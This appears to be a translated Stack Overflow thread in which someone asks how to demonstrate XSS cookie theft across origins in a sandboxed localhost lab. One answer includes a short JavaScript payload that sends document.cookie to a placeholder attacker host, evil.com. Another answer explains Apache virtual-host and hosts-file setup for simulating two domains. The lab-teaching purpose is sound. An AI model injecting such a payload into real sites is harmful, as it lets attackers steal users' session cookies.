как продемонстрировать эксплойт SOP с помощью localhost

Я делаю проект на XSHM (Cross Site History Manipulation).

Я пытаюсь показать, как использование XSS (межсайтовый скриптинг) может нарушить SOP. Я установил сервер localhost (WAMP) внутри песочницы XP (это должно быть сделано с соблюдением этических норм) с помощью простого сценария входа в систему, который уязвим для атаки XSS.

Вопрос) Я хочу показать, что после внедрения вредоносного JavaScript-кода на страницу входа я могу отправлять файлы cookie пользователям в другой источник, но как я могу это сделать, используя локальные серверы?

Если localhost является одним источником (т.е. сайтом-жертвой), как я могу создать другой источник (т.е. сайт плохого парня), отличный от localhost, для отправки cookie? Я знаю, что для того, чтобы быть в одном и том же источнике, требуется, чтобы (протокол, порт и домен) были одинаковыми. Я не могу перейти на HTTPS localhost и HTTP localhost, так как у меня нет сертификата. Кажется, я не могу изменить номера портов по мере необходимости: 80 для Интернета.

Я не хочу использовать настоящий веб-сайт и отправлять куки в скрипт localhost, так как это было бы неэтично, а также не смогло бы выполнить атаку, поскольку у него не будет уязвимости XSS для доказательства эксплойта.

Есть идеи?


person daza166    schedule 27.11.2011    source источник
comment
Используете ли вы IIS для хостинга?   -  person Deestan    schedule 16.03.2012
comment
@Deestan WAMP — это установщик Apache + MySQL + PHP для Windows.   -  person Dagg Nabbit    schedule 16.03.2012


Ответы (2)


Происхождение не имеет значения, сценарий просто считывает файл cookie документа из того же источника, а затем отправляет его на сервер в виде строки, где он декодируется, а затем вручную устанавливается для файла cookie в браузере злоумышленника или аналогичном.

<script>
var img = new Image();
img.src = "http://www.evil.com/c="+escape(document.cookie);
</script>

Это отправляет запрос GET с данными файла cookie пользователя в параметре c, простой запрос изображения не является нарушением SOP, поэтому я не знаю, полезно ли это.

person Esailija    schedule 27.11.2011
comment
Я так и думал, спасибо за разъяснение. Итак, есть ли какой-нибудь пример, который я мог бы создать с использованием локального хоста, чтобы показать нарушение SOP? Любая идея будет принята с благодарностью, приятель - person daza166; 27.11.2011
comment
@ daza166, я лично никогда не видел нарушения SOP — серверы могут явно разрешать кросс-происхождение XHR и т. д. в современных браузерах, но это не считается нарушением. Если вы выясните один, вы должны отправить его в Google за деньги :) - person Esailija; 27.11.2011

Настройте несколько виртуальных хостов в конфигурации Apache следующим образом:

# Ensure that Apache listens on port 80
Listen 80

# Listen for virtual host requests on all IP addresses
NameVirtualHost *:80

<VirtualHost *:80>
DocumentRoot "C:\goodguy"
ServerName goodguy.com

# Other directives here

</VirtualHost>

<VirtualHost *:80>
DocumentRoot "C:\badguy"
ServerName badguy.com

# Other directives here

</VirtualHost>

Укажите им 127.0.0.1 в вашем файле hosts.

127.0.0.1    goodguy.com
127.0.0.1    badguy.com

Теперь используйте goodguy.com и badguy.com вместо localhost.

Удачи!

person Dagg Nabbit    schedule 15.03.2012